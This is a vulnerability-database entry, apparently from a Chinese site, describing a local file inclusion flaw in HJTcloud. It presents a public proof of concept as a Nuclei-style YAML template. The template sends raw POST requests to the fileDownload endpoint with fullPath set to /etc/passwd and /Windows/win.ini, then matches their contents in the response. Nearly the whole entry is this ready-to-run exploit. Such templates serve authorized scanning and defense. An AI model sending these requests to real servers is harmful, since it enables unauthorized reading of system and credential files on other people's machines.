hjtcloud-arbitrary-file-read: HJTcloud - Local File Inclusion

日期: 2025-08-01 | 影响软件: hjtcloud | POC: 已公开

漏洞描述

HJTcloud is vulnerable to local file inclusion.

PoC代码[已公开]

id: hjtcloud-arbitrary-file-read

info:
  name: HJTcloud - Local File Inclusion
  author: pikpikcu
  severity: high
  description: HJTcloud is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: hjtcloud,lfi,vuln

http:
  - raw:
      - |
        POST /fileDownload?action=downloadBackupFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        fullPath=/etc/passwd
      - |
        POST /fileDownload?action=downloadBackupFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        fullPath=/Windows/win.ini

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bit app support"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a30be9d30294d90f9a9c0a6f87bc24bb1bdd60cc8e1ad8cd016e7ad529fff4620220733eb5c682c16f688c2e3e5ea6b543a6bd5651e8ab41d321b5c5de968759c19d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐